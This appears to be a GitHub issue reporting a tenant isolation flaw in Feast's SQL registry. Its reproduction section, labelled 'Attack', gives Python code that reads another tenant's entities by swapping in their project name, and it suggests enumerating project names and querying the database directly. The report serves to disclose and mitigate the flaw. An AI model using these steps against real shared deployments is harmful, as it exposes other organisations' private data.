Multi-Tenancy Data Isolation Vulnerability
- Dominant language
- Python
- Stars
- 7.3k
- Forks
- 1.4k
- Avg merge
- 1d 21h
- Merged PRs (30d)
- 15
Description
## Summary
**Multi-Tenancy Data Isolation Vulnerability - Users can access other tenants' data by knowing project name**
## Expected Behavior
In a multi-tenant Feast deployment:
- Tenant A users should ONLY be able to access Tenant A's data
- Tenant B users should ONLY be able to access Tenant B's data
- Access should be enforced through authentication and authorization
- Database credentials should not be sufficient to access another tenant's data
## Current Behavior
Any user with database credentials can access ANY tenant's data by simply creating a `FeatureStore` instance with another tenant's project name. No authentication or authorization check is performed.
**Example:**
```python
# User of Tenant A can access Tenant B's data
config_attack = RepoConfig(
project="company_b", # Victim's project name
registry=SqlRegistryConfig(
path="postgresql://feast:password@db:5432/feast_registry"
)
)
store = FeatureStore(config=config_attack)
entities = store.list_entities() # Returns Tenant B's entities ❌
```
**Result:** Complete data exposure across tenants.
## Steps to Reproduce
### Setup
1. Deploy Feast with SQL Registry (PostgreSQL)
2. Create two tenants with separate projects:
```python
# Tenant A setup
store_a = FeatureStore(config=RepoConfig(
project="company_a",
registry=SqlRegistryConfig(
path="postgresql://feast:password@localhost:5432/feast_registry"
)
))
driver_entity_a = Entity(name="driver", join_keys=["driver_id"])
store_a.apply([driver_entity_a])
```
```python
# Tenant B setup
store_b = FeatureStore(config=RepoConfig(
project="company_b",
registry=SqlRegistryConfig(
path="postgresql://feast:password@localhost:5432/feast_registry"
)
))
customer_entity_b = Entity(name="customer", join_keys=["customer_id"])
store_b.apply([customer_entity_b])
```
### Attack
3. User from Tenant A creates store with Tenant B's project name:
```python
# Attacker (Tenant A user) steals Tenant B's project name
store_attack = FeatureStore(config=RepoConfig(
project="company_b", # Using victim's project!
registry=SqlRegistryConfig(
path="postgresql://feast:password@localhost:5432/feast_registry"
)
))
# Verify breach
entities = store_attack.list_entities()
print(f"Stolen entities: {[e.name for e in entities]}")
# Output: ['customer'] ← Tenant B's private entity exposed!
```
4. Additional attacks possible:
- List all feature views: `store_attack.list_feature_views()`
- Retrieve features: `store_attack.get_online_features(...)`
- Enumerate projects: Try common names like "prod", "default", "company_a", etc.
- Direct database access: `psql -c "SELECT * FROM projects;"`
### Specifications
- **Feast Version:** 0.59.0 (likely affects all versions)
- **Platform:** Kubernetes (kind v1.33.0), macOS, Linux
- **Subsystem:** SQL Registry (`feast.infra.registry.sql`)
- **Deployment:**
- Feast Operator with shared PostgreSQL database
- Direct Feast SDK usage with shared database
- **Database:** PostgreSQL 16, SQLite (also affected)
### Configuration
```yaml
# Vulnerable configuration
registry:
registry_type: sql
path: postgresql://feast:password@shared-db:5432/feast_registry
# ❌ No authentication
# ❌ Same credentials for all tenants
# ❌ Only project_id for isolation
```
## Workaround
**Until fixed, DO NOT use shared database for untrusted tenants.**
Safe configurations:
- ✅ Separate databases per tenant
- ✅ Feature Server with authentication (users never access DB directly)
- ✅ Single-tenant deployments
Unsafe configurations:
- ❌ Shared database with direct SDK access
- ❌ Database credentials accessible to end users
- ❌ No authentication layer
Contributor guide
Assessment
This issue has not been assessed yet.